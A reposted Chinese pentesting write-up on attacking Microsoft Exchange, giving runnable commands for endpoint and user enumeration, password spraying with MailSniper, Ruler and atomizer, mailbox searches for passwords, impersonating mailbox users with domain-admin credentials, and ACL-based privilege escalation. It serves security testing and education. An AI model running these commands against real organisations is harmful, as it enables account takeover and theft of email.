Exchange在渗透测试中的利用

栏目: 编程工具 · 发布时间: 5年前

内容简介:Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。通常Exchange Server 有以下endpoint,即可访问的连接如下:

Exchange

0x00 Exchange简介

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

0x01 Exchange Endpoint

通常Exchange Server 有以下endpoint,即可访问的连接如下:

https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/

每个endpoint的作用如下:

endpoint 说明
/autodiscover 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp "Exchange Control Panel" Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews "Exchange Web Services" Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB "Offline Address Book" 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa "Outlook Web APP" Exchange owa 借口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powershell 用于服务器管理的Exchange管理控制台
/RPC 早期的Outlook还使用称为Outlook Anywhere的RPC交互

以上endpoint中,常用于暴力破解的有/owa 、/ews、/Microsoft-Server-ActiveSync 及/autodiscover,如owa的暴力破解(passwordspray):

抓取登录包如下:

Exchange在渗透测试中的利用

用户名可尝试使用domain\username、domian.com\username、username

使用某密码进行暴力破解:

Exchange在渗透测试中的利用

/Microsoft-Server-ActiveSync 爆破为401认证,需要对用户账号密码进行base64处理:

Exchange在渗透测试中的利用

YWRtaW46YWRtaW4= -> admin:admin

/ews/rpc 等几个endpoint同样为401认证,账号密码的加密方式为net-ntlm:

Exchange在渗透测试中的利用

爆破需对账号密码进行处理之后在进行。

0x02 Get UserList

验证Exchange

对Exchange的利用首先要确定其是否使用了exchange,关于判断的方式,我知道的方式有:

1、 checkO365

Exchange在渗透测试中的利用

2、owa 登录页面,如:

Exchange在渗透测试中的利用

3、特殊域名:

访问如下域名

https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/

获取用户列表

之后我们需要获取其至少一个账号的信息,那么就需要取搜集获取某域的用户列表,除了top username进行爆破,还可以使用 theharvesterMailget工具 进行搜集,另外还有一种通过延时来判断的方式。在 MailSniper 写了这样几种来判断内部域和存在用户的方法:

  • Invoke-DomainHarvest
  • Invoke-UsernameHarvestOWA
  • Invoke-UsernameHarvestEAS

首先来看Invoke-DomainHarvest,这里通过了几种方式来获取内部域名,构造参数如下:

Invoke-DomainHarvestOWA -ExchHostname domian.com

脚本会构造如下url:

$OWAURL = ("https://" + $ExchHostname + "/owa/auth.owa")
$OWAURL2 = ("https://" + $ExchHostname + "/owa/")
$autodiscoverurl = ("https://" + $ExchHostname + "/autodiscover/autodiscover.xml")
$ewsurl = ("https://" + $ExchHostname + "/EWS/Exchange.asmx")

在未指定 brute 的情况下,脚本会先请求 autodiscoverurl ,若失败,再请求ewsurl,并通过请求头里面的net-ntlm数据来猜测内部域名,如:

Exchange在渗透测试中的利用

需要注意到是,未指定brute的时候需要更改-ExchHostname 为对应的autodiscoverurl及ewsurl

指定brute的情况下,则会使用通过时间延迟的方式来检测域名是否存在,首先会构造一些不存在的域及用户名请求owa,并记录其响应时间,之后使用构造的域字典及随机用户名来请求owa,根据其响应时间的不同来判断域及用户名,在这里有两种brute方式,第一种通过导入域名列表:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -DomainList .\domainlist.txt -OutFile potentially-valid-domains.txt -brute

第二种通过公司名称来猜测:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -CompanyName "bla bla" -OutFile potentially-valid-domains.txt -brute

获取域名之后,可导入用户名进行用户名存在检测:

Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestEAS -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile eas-valid-users.txt

PS : 作者说这个问题提交给微软以后并没有修复,但是实际测试效果并不好,但是没准碰到可以使用的情况也说不定。

当获取到一个用户的账号密码之后,可以通过 Get-GlobalAddressList 来获取GlobalAddress的用户邮箱地址:

Get-GlobalAddressList -ExchHostname owaurl -UserName username -Password password

Exchange在渗透测试中的利用

0x03 Brute Force

在这里暴力破解的地方有很多个,首先可以通过burpsuite对OWA进行暴力破解,另外就是 /autodiscover/ews/Microsoft-Server-ActiveSync 等几个endpoint,可利用的工具如: MailSniperRulerSprayingToolkit ,可根据个人喜好取舍。为了防止账号因多次登陆失败触发告警或账户被封禁,建议使用同密码爆破用户名的方式进行暴力破解。下面介绍一下MailSniper的相关方法的使用。

通过owa爆破:

Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname OWAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

Exchange在渗透测试中的利用

通过ews爆破:

Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

Exchange在渗透测试中的利用

通过Microsoft-Server-ActiveSync爆破:

Invoke-PasswordSprayEAS -ExchHostname MSAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

Exchange在渗透测试中的利用

通过autodiscover 爆破:

在MailSniper中没有写对autodiscover的爆破,可以选择使用burp、ruler或者SprayingToolkit。

python atomizer.py owa autodiscoverhost password user.txt

Exchange在渗透测试中的利用

./ruler --domain autodiscoverhost -k brute --users user.txt --passwords pass.txt --delay 0 --threads 10 -v

Exchange在渗透测试中的利用

0x04 Search mail

在获取到某用户邮箱账号密码以后,我们可以对其邮件内容进行搜索,除了直接登录邮件外,也可以使用Exchange的接口进行邮件的检索,其接口的相关开发可以参考《 Exchange Web Service(EWS)开发指南 》,在外网情况下,可使用此工具来列出邮件内容。

./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewshost/ews/Exchange.asmx -Mode ListMail -Folder Inbox

Exchange在渗透测试中的利用

搜索某字符串:

./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewhost/ews/Exchange.asmx -Mode SearchMail -String vpn

Exchange在渗透测试中的利用

内网情况下可使用MailSniper来快速检索,如使用xiaoming\domain用户登录某主机,可在该主机上搜索xiaoming的邮箱(不需要密码)

Invoke-SelfSearch -Mailbox user@domain.com -Terms *pass* -Folder all -ExchangeVersion Exchange2013_SP1 -OutputCsv 1.csv

Exchange在渗透测试中的利用

如果获得了域管理员的密码,可以检索任意邮件的内容:

Invoke-GlobalMailSearch -ImpersonationAccount beiguoxia -ExchHostname Exchangehostname -AdminUserName domain\administrator  -AdminPassword password -Term "*pass*" -Folder all

Exchange在渗透测试中的利用

检索可使用 -Term 或者正则 -Regex 来指定关键字, -ImpersonationAccount 用于将当前用户身份合法伪装其他邮箱用户,进而获得查询所有邮箱用户邮件的权限,如果查询失败,可以尝试添加 -ExchangeVersion 更换Exchange版本,目前支持版本为 Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013,Exchange2013_SP1

0x05 后渗透

在获取一个用户的账号密码之后,如何进入内网?这里有一个神器 Ruler ,在Outlook中有一个Rules and Alerts的功能,利用此功能,可执行一些特定的如执行命令等操作,关于ruler的具体使用,可以参考相关文章,另外在内网中,如何去发现Exchange服务器,如何使用NTLM中继来接管某用户邮箱的权限,这些内容在 《深入Exchange Server在网络渗透下的利用方法》 中有了很详细的讲解,在这里就不多做阐述。

另外需要补充一点可能有用的东西,Exchange安装以后会创建一个 Organization Management 安全组:

Exchange在渗透测试中的利用

该组内的成员除了访问Exchagne设置外,可以修改其他Exchagne安全组的成员身份,如 Exchange Trusted Subsystem ,此组为 Exchange Windows Permissions 的成员

Exchange在渗透测试中的利用

默认情况下, Exchange Windows Permissions 安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升,详细的文章可以参考 《Escalating privileges with ACLs in Active Directory》

0x06 总结

本文记录了我自己对Exchange在渗透中的利用的一些方式的总结,欢迎补充,更详细的内容可以查看参考的文章。

0x07 参考

  1. https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0
  2. https://www.blackhillsinfosec.com/password-spraying-outlook-web-access-how-to-gain-access-to-domain-credentials-without-being-on-a-targets-network-part-2/
  3. https://3gstudent.github.io/3gstudent.github.io/Exchange-Web-Service(EWS)%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/
  4. https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

本文由Ridter 创作,采用 知识共享署名4.0 国际许可协议进行许可

本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名

最后编辑时间为: Jan 9, 2019 at 12:16 pm


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

美铁之战

美铁之战

[英]帕特里克·蒂利 / 黑曜、超侠 / 百花文艺出版社 / 2018-9 / 44.80元

本书的故事发生在未来,一场核战毁灭了北美大陆上的人类文明,残存下来的人类分化成两拨:生活在地面上退化到刀耕火种时代的平原人;躲藏在地下苟延残喘的沙穴人。几百年后,当保留着战前文明的沙穴人尝试着登上地面,和平原人的同室操戈将不可避免地上演……一起来看看 《美铁之战》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

MD5 加密
MD5 加密

MD5 加密工具